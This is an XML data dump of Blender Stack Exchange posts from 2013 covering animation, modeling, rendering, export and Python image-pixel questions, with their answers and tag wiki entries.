  <row Id="3677" PostTypeId="1" AcceptedAnswerId="3682" CreationDate="2013-11-03T21:09:18.903" Score="6" ViewCount="1695" Body="&lt;p&gt;I am making an intro for 'The Tim Show'. The thing is I've only modeled a good head and that's mainly it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intro will be like shadows of a person, with a drill in a hand, etc. Look &lt;a href=&quot;http://webneel.com/video/tv-broadcast-news-intro-animation-after-effects&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; at 1:07 on the earth. Here is an image of it: &lt;img src=&quot;https://i.stack.imgur.com/voMYB.jpg&quot; alt=&quot;Silhoette&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I do not want a globe/sphere, only on a screen)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it will be with Blender (yes!!) and will not be on an earth. I may enhance it with some other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is I don't know where to start and I need a fast solution as I am under pressure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="1526" LastEditDate="2013-11-03T21:42:03.697" LastActivityDate="2017-09-23T11:27:42.943" Title="How to create a animated silhouette?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostTypeId="2" ParentId="3673" CreationDate="2013-11-03T21:15:45.617" Score="9" Body="&lt;p&gt;&lt;code&gt;.pixels&lt;/code&gt; is a python object and pretty slow, especially if you change pixels. That is 'cause the entire buffer / python object is re-created for every single change (if you do it in a python loop). Not sure why it's that slow on read-only actions though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can speed it up tremendously if you cast it to a native python type (tuple) and use that copy instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img = bpy.data.images['Untitled']&#xA;&#xA;pixels = img.pixels[:] # create a copy (tuple) for read-only access&#xA;# -- OR --&#xA;pixels = list(img.pixels) # create an editable copy (list)&#xA;&#xA;# Use the tuple object, which is way faster than direct access to Image.pixels&#xA;for i in range(0, len(pixels), 4):&#xA;    pixels[i] = 1.0 - pixels[i] # invert red channel&#xA;&#xA;# Write back to image.&#xA;# Slice notation here means to replace in-place, not sure if it's faster...&#xA;img.pixels[:] = pixels&#xA;&#xA;# Should probably update image&#xA;img.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-07-20T12:26:57.500" LastActivityDate="2015-07-20T12:26:57.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3680" PostTypeId="2" ParentId="3659" CreationDate="2013-11-04T02:11:18.200" Score="0" Body="&lt;p&gt;I'm afraid it's not possible at moment as size affects all particles together.&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-11-04T02:11:18.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostTypeId="2" ParentId="3677" CreationDate="2013-11-04T09:03:48.273" Score="9" Body="&lt;p&gt;You can use a human mesh with a shrinkwrap modifier on a plane. Let me show you an exemple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First if you want to use an human body you can create it with &lt;a href=&quot;http://www.makehuman.org/&quot; rel=&quot;noreferrer&quot;&gt;makehuman&lt;/a&gt; and import it in blender with all the skeleton. Then you can create the animation of your human.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s0nGk.png&quot; alt=&quot;Human from makehuman&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can add the surface where you want your silhouette to be. For the exemple I used a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/47Smr.png&quot; alt=&quot;Human with plane surface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add the shrinkwrap modifier on your human.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3Je3.png&quot; alt=&quot;shrinkwrap modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's time to render. I've done the render with cycle, in blender internal you have problem with the superposition of the mesh like this:&lt;img src=&quot;https://i.stack.imgur.com/DpGUv.png&quot; alt=&quot;problem render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is the final render with cycle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Do7Fl.png&quot; alt=&quot;cycle render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the video example on &lt;a href=&quot;http://www.youtube.com/watch?v=UTQB4yHPI5Y&amp;amp;feature=youtu.be&quot; rel=&quot;noreferrer&quot;&gt;youtube&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course it works with animation. Hope this can help you.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1151" LastEditDate="2013-11-04T09:11:22.377" LastActivityDate="2013-11-04T09:11:22.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostTypeId="1" AcceptedAnswerId="3697" CreationDate="2013-11-04T10:43:48.123" Score="1" ViewCount="638" Body="&lt;p&gt;I've a mhx rig (created with &lt;a href=&quot;http://www.makehuman.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;makehuman&lt;/a&gt;) when I select fingers and 'links' and store a pose in a pose library the pose can't be assigned. &#xA;With other poses arm/legs (set to IK) etc. this works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to store the pose of the fingers (Could the bones to select be in a different layer)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Selecting and keyframing the bones works. My goal was to script poses from a control file to  keyframes. I didn't notice that the NLA-Editor was made for tasks like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRycp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-11-05T08:06:22.633" LastActivityDate="2013-11-05T08:06:22.633" Title="What should be selected in order to store a pose?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostTypeId="5" CreationDate="2013-11-04T10:51:11.317" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-04T10:51:11.317" LastActivityDate="2013-11-04T10:51:11.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3685" PostTypeId="4" CreationDate="2013-11-04T10:51:11.317" Score="0" Body="Makehuman is an external application for creating rigged models of humans." OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-11-04T22:21:08.730" LastActivityDate="2013-11-04T22:21:08.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostTypeId="5" CreationDate="2013-11-04T10:59:00.750" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-04T10:59:00.750" LastActivityDate="2013-11-04T10:59:00.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3687" PostTypeId="4" CreationDate="2013-11-04T10:59:00.750" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-04T10:59:00.750" LastActivityDate="2013-11-04T10:59:00.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3688" PostTypeId="5" CreationDate="2013-11-04T11:52:45.277" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-04T11:52:45.277" LastActivityDate="2013-11-04T11:52:45.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3689" PostTypeId="4" CreationDate="2013-11-04T11:52:45.277" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-04T11:52:45.277" LastActivityDate="2013-11-04T11:52:45.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3690" PostTypeId="1" AcceptedAnswerId="3691" CreationDate="2013-11-04T13:03:54.113" Score="32" ViewCount="113651" Body="&lt;p&gt;How do I toggle in and out of wireframe mode with my keyboard? Is there a hotkey for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a beginner (obviously). I thought I could find this in the &quot;view&quot; menu, but it either doesn't exist or I have horrendous eyesight. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1530" LastEditorUserId="12" LastEditDate="2013-11-04T14:08:24.527" LastActivityDate="2021-01-26T23:53:54.313" Title="Toggle wireframe mode with hotkey" Tags="&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostTypeId="2" ParentId="3690" CreationDate="2013-11-04T13:34:22.320" Score="46" Body="&lt;p&gt;In any mode, if you want to switch between wireframe and solid use &lt;kbd&gt;Z&lt;/kbd&gt;.&#xA;You can also use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; for toggling x-ray.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can use the viewport header.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.91/editors/3dview/display/shading.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="66773" LastEditDate="2021-01-26T23:53:54.313" LastActivityDate="2021-01-26T23:53:54.313" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="3692" PostTypeId="1" CreationDate="2013-11-04T15:07:00.533" Score="8" ViewCount="2171" Body="&lt;p&gt;What is the easiest way to duplicate an object without it duplicating the animation as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could simply change this in the &lt;em&gt;user preferences&lt;/em&gt; by unchecking &quot;action&quot; but this doesn't seem to work.  It is of course possible after duplicating to &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; make single user &gt; animation&lt;/em&gt; then delete keyframes manually, but I'd prefer not to have to do that.&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="599" LastEditDate="2013-11-04T23:26:38.887" LastActivityDate="2013-11-04T23:26:38.887" Title="How to duplicate an object without duplicating animation data?" Tags="&lt;objects&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostTypeId="1" AcceptedAnswerId="3694" CreationDate="2013-11-04T15:38:46.937" Score="5" ViewCount="2632" Body="&lt;p&gt;I'm trying to export models from some format (&lt;code&gt;.obj&lt;/code&gt;, &lt;code&gt;.3ds&lt;/code&gt;, &lt;code&gt;.blend&lt;/code&gt;) to &lt;code&gt;Three.js&lt;/code&gt; but sometimes they can't be exported. Can someone explain why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what happens: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PSWHL.jpg&quot; alt=&quot;Screenshot of disabled three.js export option&quot; title=&quot;The three.js option can&amp;#39;t be clicked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Three.js&lt;/code&gt; option in the export menu can't be selected.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="29" LastEditDate="2014-12-22T11:54:31.397" LastActivityDate="2014-12-22T11:54:31.397" Title="Three.js export option is sometimes disabled" Tags="&lt;export&gt;&lt;three.js&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostTypeId="2" ParentId="3693" CreationDate="2013-11-04T15:58:46.027" Score="7" Body="&lt;p&gt;In Blender there is a difference between &lt;strong&gt;active&lt;/strong&gt; and &lt;strong&gt;selected&lt;/strong&gt;,&#xA;typically its fine to think of active as &lt;em&gt;last selected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice when you select the object, its outline (or wire) color is brighter then other selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;poll&lt;/code&gt; only succeeds (i.e., the operator is only enabled) if &lt;code&gt;bpy.context.active_object != None&lt;/code&gt;: see &lt;a href=&quot;https://github.com/mrdoob/three.js/blob/master/utils/exporters/blender/2.66/scripts/addons/io_mesh_threejs/__init__.py#L323&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;io_mesh_threejs/__init__.py:323&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be the case right after you deleted an object, imported models (e.g. OBJ) or certain operator calls. These operations can clear the &lt;code&gt;active_object&lt;/code&gt;, although objects may still be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select any object (or set &lt;code&gt;active_object&lt;/code&gt; to an object with python) before you open the &lt;em&gt;File &gt; Export&lt;/em&gt; panel.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2013-11-05T03:24:03.683" LastActivityDate="2013-11-05T03:24:03.683" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3695" PostTypeId="2" ParentId="3692" CreationDate="2013-11-04T16:27:37.723" Score="10" Body="&lt;p&gt;I don't know how to do such duplication without involving Python scripting. If you're concerned about removing action from a large amount of objects quickly, though, you could use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all objects you want to remove action from, ending with any other object &lt;em&gt;without any action attached&lt;/em&gt; as the active/last selected object. Then execute &lt;strong&gt;Object&lt;/strong&gt; &gt; &lt;strong&gt;Make Links&lt;/strong&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;), and select &lt;strong&gt;Animation Data&lt;/strong&gt;. It will copy the action from active object, which is &lt;code&gt;None&lt;/code&gt;, to every other selected objects, effectively removing &lt;em&gt;their&lt;/em&gt; animation data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not exactly what you're looking for, but worth considering as an alternative solution.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-04T16:27:37.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostTypeId="2" ParentId="3693" CreationDate="2013-11-04T16:33:10.740" Score="5" Body="&lt;p&gt;Looking at the &lt;em&gt;Properties editor&lt;/em&gt; in your screenshot I can see that the panels that should appear when a mesh is active (&lt;em&gt;Modifiers&lt;/em&gt;, &lt;em&gt;Constraints&lt;/em&gt;, &lt;em&gt;Object&lt;/em&gt; and &lt;em&gt;Data&lt;/em&gt; etc.) are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shows that you don't actually have an active object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there is a difference between a &lt;em&gt;selected&lt;/em&gt; object and an &lt;em&gt;active&lt;/em&gt; object, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;. Notice that the object in the middle of the scene has an orange outline, this means that it is &lt;em&gt;selected&lt;/em&gt;. &lt;em&gt;Active&lt;/em&gt; objects have a lighter orange outline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think that the exporter might be able to tell and so disables itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try making the object active by right clicking on it, then try the export again.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-11-05T13:19:43.033" LastActivityDate="2013-11-05T13:19:43.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3697" PostTypeId="2" ParentId="3683" CreationDate="2013-11-04T16:46:05.943" Score="2" Body="&lt;p&gt;Not familiar with the MakeHuman rig specifically, but generally speaking, on a sufficiently complex rig, you typically have control bones and deformation bones. You only set keyframes on the control bones... this is both in animation as well as building a pose library. Judging from your screenshot, I'd say you should only set keys on the larger, L-shaped finger bones and &lt;em&gt;not&lt;/em&gt; the bones located within the mesh geometry. Those should remain hidden in nearly all cases.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-11-04T16:46:05.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3698" PostTypeId="1" AcceptedAnswerId="3699" CreationDate="2013-11-04T20:29:01.730" Score="9" ViewCount="387" Body="&lt;p&gt;What does the &lt;code&gt;F&lt;/code&gt; in front of brush names in the selector stand for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3dZjA.png&quot; alt=&quot;Brush screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This question may seem a little trivial, but it always made me wonder..&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-05T14:30:07.693" Title="What does the F in front of brush names mean?" Tags="&lt;interface&gt;&lt;terminology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3699" PostTypeId="2" ParentId="3698" CreationDate="2013-11-04T20:35:57.693" Score="8" Body="&lt;p&gt;It stands for &lt;a href=&quot;https://blender.stackexchange.com/questions/2448/what-does-users-means-in-term-of-datablocks&quot;&gt;Fake User&lt;/a&gt;. Since the default brushes all have fake users, the &lt;em&gt;&quot;F&quot;&lt;/em&gt; shows up in front of the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; This applies to many other data-blocks, not just brushes, its just noticeable since fake-user is enabled by default, but it can be used used for meshes, curves, actions, fonts... too.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-11-05T14:30:07.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3700" PostTypeId="5" CreationDate="2013-11-04T23:09:04.460" Score="0" Body="&lt;h1&gt;What is a point cloud?&lt;/h1&gt;&#xA;&lt;p&gt;A point cloud is a set of data points in some coordinate system.&lt;/p&gt;&#xA;&lt;p&gt;These points are usually defined by X, Y, and Z coordinates in a 3D coordinate system. They are often intended to represent the external surface of an object (volumetric data).&lt;/p&gt;&#xA;&lt;p&gt;Point clouds may be created by 3D scanners. These devices measure in an automatic way a large number of points on the surface of an object, and often output a point cloud as a data file. The point cloud represents the set of points that the device has measured.&lt;/p&gt;&#xA;&lt;p&gt;Point clouds can be converted to polygon mesh or triangle mesh models, NURBS surface models, or CAD models through a process commonly referred to as surface reconstruction.&lt;sup&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Point_cloud%3Cbr%3E&quot; rel=&quot;nofollow noreferrer&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Volume Rendering in Cycles&lt;/h1&gt;&#xA;&lt;p&gt;Rendering of volumetric data (point clouds) in Cycles will be available soon, hopefully in Blender 2.70.&lt;sup&gt;&lt;a href=&quot;http://www.blenderdiplom.com/en/blog/527-demo-volume-with-blender-cycles.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="32220" LastEditDate="2020-07-12T20:32:30.240" LastActivityDate="2020-07-12T20:32:30.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3701" PostTypeId="4" CreationDate="2013-11-04T23:09:04.460" Score="0" Body="questions concerning the use of point clouds / data point sets in blender." OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-11-04T23:32:39.807" LastActivityDate="2013-11-04T23:32:39.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3702" PostTypeId="5" CreationDate="2013-11-04T23:29:09.933" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-04T23:29:09.933" LastActivityDate="2013-11-04T23:29:09.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3703" PostTypeId="4" CreationDate="2013-11-04T23:29:09.933" Score="0" Body="Questions related to navigating the 3D viewport" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-04T23:29:09.933" LastActivityDate="2013-11-04T23:29:09.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3704" PostTypeId="2" ParentId="3519" CreationDate="2013-11-05T01:50:46.673" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit: This post was made when the referenced tools were still considered experimental and not a part of the official builds.  Now these tools and more are available from official builds.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a new option for adding fine detail but it is not fully in trunk yet.  You would have to grab the GSOC Paint build from Graphicall.org. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Psy-f's build has curve and line tools that work as precision stroke brushes.  Maybe that definition is not exactly correct but it's close enough I think. They work in sculpt mode as well but this requires extra geometry which is going to slow you down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea here is to attach a 32 bit texture map(currently available) to your models UV's and then use that as a bump map. As is, this will not create real geometry but instead will create the illusion of extra detail which can be baked as a normal map.  This seems to me to be the ideal situation for smaller detail since anyone would be hard pressed to tell the difference between real displacement and normal maps when it comes to the small scale that you are hoping to work with.  This technique will also dramatically decrease your render times and the possibility of your computer locking up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, you insist on using true displacement then you can use this bump map in combination with the displacement modifier at a later stage.  This will allow you to work with a lower poly model during the sculpt/modelling process and then you can crank up the multi-res detail in combination with a displacement modifier when it's time to render.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even still, without the most excellent curve and line tools you can still paint bump maps but it's much harder to get the precision that these new brush tools provide.  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-09-29T23:11:32.470" LastActivityDate="2014-09-29T23:11:32.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostTypeId="1" AcceptedAnswerId="3706" CreationDate="2013-11-05T13:19:35.790" Score="6" ViewCount="1272" Body="&lt;p&gt;When I choose the &lt;em&gt;Subdivide Smooth&lt;/em&gt; option in edit mode it looks different from the &lt;em&gt;Subdivision Modifier&lt;/em&gt;. Not only is it smaller but also the shape of the one from edit mode seems distorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B5LNx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="12" LastEditDate="2013-11-05T20:46:20.423" LastActivityDate="2013-11-06T07:53:53.573" Title="Why does Subdivide Smooth look different when compared to the Subsurf modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostTypeId="2" ParentId="3705" CreationDate="2013-11-05T14:05:26.460" Score="6" Body="&lt;p&gt;When using subdivision in edit mode, the original vertices stay at the exact same place. The rest of the mesh swells up around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the modifier, vertices and edges are more like control points of a nurbs curve. The image below illustrates it. Note that concave shapes (the thinner section of the model below) will swell outwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3EZbH.png&quot; alt=&quot;Subdivied blocky thing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible to make a truly spherical shape when using subsurf, but the more verts you have in the original mesh, the less noticeable the irregularities will be and the more spherical it will look. You can also use a Shinkwrap modifier to &quot;project&quot; your mesh onto a real sphere, or a Cast modifier or the To Sphere (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;) operator to warp it into shape. I often do this when wanting a mesh that can be subdivided but still have a nice equator.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="9" LastEditDate="2013-11-06T07:53:53.573" LastActivityDate="2013-11-06T07:53:53.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3707" PostTypeId="2" ParentId="3560" CreationDate="2013-11-05T15:07:13.147" Score="13" Body="&lt;p&gt;&lt;strong&gt;In short, there's no ready solution.&lt;/strong&gt; Lukas Tönne was responsible for a feature known as &quot;Paged Buffers for Particles&quot; but at some point he stopped working on it and the feature never made it to trunk. Here's a timeline of what happened:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;March 11 2011: &lt;a href=&quot;https://www.youtube.com/watch?v=Q_v3KfwdMaA&quot; rel=&quot;noreferrer&quot;&gt;This video shows that variable particle emission was working.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;March 17 2011: &lt;a href=&quot;http://code.blender.org/index.php/2011/03/paged-buffers-for-particles/&quot; rel=&quot;noreferrer&quot;&gt;Paged Buffers for Particles research&lt;/a&gt; was published on Blender's developer blog.&lt;/li&gt;&#xA;&lt;li&gt;July 22 2011: A crowd-funding campaign launched through Lukas's blog.&lt;/li&gt;&#xA;&lt;li&gt;Dec 6 2011: &lt;a href=&quot;https://www.youtube.com/watch?v=7WHxmdoWBrU&quot; rel=&quot;noreferrer&quot;&gt;Lukas spoke about his progress at the 2011 Blender Conference.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;May 4 2012: &lt;a href=&quot;http://phonybone.planetblender.org/2012/05/04/video-update/&quot; rel=&quot;noreferrer&quot;&gt;Last blog post on the subject.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;August 4 2013: &lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2013-August/041418.html&quot; rel=&quot;noreferrer&quot;&gt;Lukas was hired to do general bug fixing with the Blender Foundation.&lt;/a&gt; His work would be &quot;especially for nodes and [the] compositor. When time allows, he then can also pick up work on new particle system.&quot;&lt;/li&gt;&#xA;&lt;li&gt;August 26 2013: &lt;a href=&quot;http://blender-podcast.org/?p=541&quot; rel=&quot;noreferrer&quot;&gt;In episode 26 of the Blender Podcast&lt;/a&gt;, Lukas stated &quot;I started working on the particles, but there are a few basic issues that need to be fixed on a more general level before I can go into the details of node-ifying particles and things like that.&quot;&lt;/li&gt;&#xA;&lt;li&gt;2014–Present: &lt;a href=&quot;https://twitter.com/search?q=nodes%20from%3Alukastoenne%20since%3A2013-01-01&quot; rel=&quot;noreferrer&quot;&gt;His tweets about node development&lt;/a&gt; continue to mention relevant subject matter including duplis which will eventually feed into particle nodes.&lt;/li&gt;&#xA;&lt;li&gt;Nov 1, 2015: &lt;a href=&quot;http://code.blender.org/2015/11/the-2-8-project-for-developers/&quot; rel=&quot;noreferrer&quot;&gt;B2.8 project developer kickoff meeting notes&lt;/a&gt; mentions that &quot;The particle system and constraints may need a complete overhaul.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="240" LastEditorUserId="240" LastEditDate="2015-12-28T21:20:43.780" LastActivityDate="2015-12-28T21:20:43.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostTypeId="1" AcceptedAnswerId="3734" CreationDate="2013-11-05T23:12:28.317" Score="0" ViewCount="2460" Body="&lt;p&gt;I wish to remove the background of these videos: &lt;a href=&quot;https://skydrive.live.com/redir?resid=117AB4E465BB25B0!25610&amp;amp;authkey=!AFwzaPNg8TirZQ8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://skydrive.live.com/redir?resid=117AB4E465BB25B0!25610&amp;amp;authkey=!AFwzaPNg8TirZQ8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sometimes the camera moves up and other things can be seen. How can I remove that too?&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="5426" LastEditDate="2018-10-25T00:32:43.937" LastActivityDate="2018-10-25T00:32:43.937" Title="How to remove background?" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-15T21:43:36.533" ContentLicense="CC BY-SA 4.0" />
  <row Id="3709" PostTypeId="1" AcceptedAnswerId="3714" CreationDate="2013-11-05T23:20:33.350" Score="1" ViewCount="1096" Body="&lt;p&gt;Regarding my &lt;a href=&quot;https://blender.stackexchange.com/questions/3708/how-to-remove-background&quot;&gt;previous question&lt;/a&gt;, how to remove background, I wish to do the following:&lt;br&gt;&#xA;There will be a narration so I will need each object to glow while I talk about them, how can you do this? Please demonstrate on one (or more) of the videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the object to emit light, affecting the other objects.&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-11-07T21:15:23.083" Title="How to make objects in a video glow?" Tags="&lt;video&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
